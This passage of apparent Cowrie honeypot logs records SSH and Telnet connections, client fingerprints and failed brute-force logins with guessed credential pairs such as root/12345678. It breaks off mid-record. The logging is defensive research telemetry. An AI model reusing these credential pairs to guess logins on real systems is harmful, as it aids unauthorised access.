{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:47:40.101581Z","src_ip":"141.11.88.14","session":"0a1532248181","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"1234567890","message":"login attempt [fastuser/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:47:41.021486Z","src_ip":"141.11.88.14","session":"0a1532248181","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:47:42.257636Z","src_ip":"141.11.88.14","session":"0a1532248181","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":53500,"dst_ip":"10.17.0.5","dst_port":22,"session":"a97c16dcfe79","protocol":"ssh","message":"New connection: 141.11.88.14:53500 (10.17.0.5:22) [session: a97c16dcfe79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:47:45.080263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:47:45.182273Z","src_ip":"141.11.88.14","session":"a97c16dcfe79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:47:45.187971Z","src_ip":"141.11.88.14","session":"a97c16dcfe79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ABCabc123456","message":"login attempt [root/ABCabc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:47:46.915077Z","src_ip":"141.11.88.14","session":"a97c16dcfe79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:47:48.660348Z","src_ip":"141.11.88.14","session":"a97c16dcfe79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":38340,"dst_ip":"10.17.0.5","dst_port":22,"session":"18966c298967","protocol":"ssh","message":"New connection: 141.11.88.14:38340 (10.17.0.5:22) [session: 18966c298967]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:47:53.720064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:47:53.817397Z","src_ip":"141.11.88.14","session":"18966c298967","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:47:53.821028Z","src_ip":"141.11.88.14","session":"18966c298967","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"osboxes","password":"osboxes.org","message":"login attempt [osboxes/osboxes.org] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:47:54.333088Z","src_ip":"141.11.88.14","session":"18966c298967","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:47:55.514153Z","src_ip":"141.11.88.14","session":"18966c298967","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":12408,"dst_ip":"10.17.0.5","dst_port":22,"session":"64fbf21d0695","protocol":"ssh","message":"New connection: 141.11.88.14:12408 (10.17.0.5:22) [session: 64fbf21d0695]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:00.885327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:00.888517Z","src_ip":"141.11.88.14","session":"64fbf21d0695","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:00.991934Z","src_ip":"141.11.88.14","session":"64fbf21d0695","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"1","message":"login attempt [openclaw/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:01.405639Z","src_ip":"141.11.88.14","session":"64fbf21d0695","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:02.509387Z","src_ip":"141.11.88.14","session":"64fbf21d0695","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":38520,"dst_ip":"159.203.135.109","dst_port":23,"session":"18fda370de0f","protocol":"telnet","message":"New connection: 172.81.62.90:38520 (159.203.135.109:23) [session: 18fda370de0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:04.038666Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":40996,"dst_ip":"10.17.0.5","dst_port":22,"session":"0dbb94dcf8bc","protocol":"ssh","message":"New connection: 141.11.88.14:40996 (10.17.0.5:22) [session: 0dbb94dcf8bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:08.285641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:08.351446Z","src_ip":"141.11.88.14","session":"0dbb94dcf8bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:08.438112Z","src_ip":"141.11.88.14","session":"0dbb94dcf8bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"maarch","password":"maarch","message":"login attempt [maarch/maarch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:08.870560Z","src_ip":"141.11.88.14","session":"0dbb94dcf8bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:09.959948Z","src_ip":"141.11.88.14","session":"0dbb94dcf8bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.191.244.158","src_port":33632,"dst_ip":"159.203.135.109","dst_port":22,"session":"189e146ce03a","protocol":"ssh","message":"New connection: 160.191.244.158:33632 (159.203.135.109:22) [session: 189e146ce03a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:16.074686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:16.078921Z","src_ip":"160.191.244.158","session":"189e146ce03a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":41040,"dst_ip":"10.17.0.5","dst_port":22,"session":"74dff925af61","protocol":"ssh","message":"New connection: 141.11.88.14:41040 (10.17.0.5:22) [session: 74dff925af61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:16.298151Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:16.310777Z","src_ip":"160.191.244.158","session":"189e146ce03a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:16.543634Z","src_ip":"141.11.88.14","session":"74dff925af61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:16.548444Z","src_ip":"141.11.88.14","session":"74dff925af61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nameserver","password":"nameserver","message":"login attempt [nameserver/nameserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:17.271532Z","src_ip":"160.191.244.158","session":"189e146ce03a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"123","message":"login attempt [rdpuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:17.349843Z","src_ip":"141.11.88.14","session":"74dff925af61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:18.505356Z","src_ip":"141.11.88.14","session":"74dff925af61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:18.524096Z","src_ip":"160.191.244.158","session":"189e146ce03a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.26.80.121","src_port":37298,"dst_ip":"10.17.0.5","dst_port":22,"session":"dcad49b3780d","protocol":"ssh","message":"New connection: 2.26.80.121:37298 (10.17.0.5:22) [session: dcad49b3780d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:21.899182Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:21.909769Z","src_ip":"2.26.80.121","session":"dcad49b3780d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:22.021431Z","src_ip":"2.26.80.121","session":"dcad49b3780d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":61828,"dst_ip":"10.17.0.5","dst_port":22,"session":"f19837eb9191","protocol":"ssh","message":"New connection: 141.11.88.14:61828 (10.17.0.5:22) [session: f19837eb9191]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:22.599382Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678","message":"login attempt [root/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:22.928887Z","src_ip":"2.26.80.121","session":"dcad49b3780d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:22.945853Z","src_ip":"141.11.88.14","session":"f19837eb9191","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-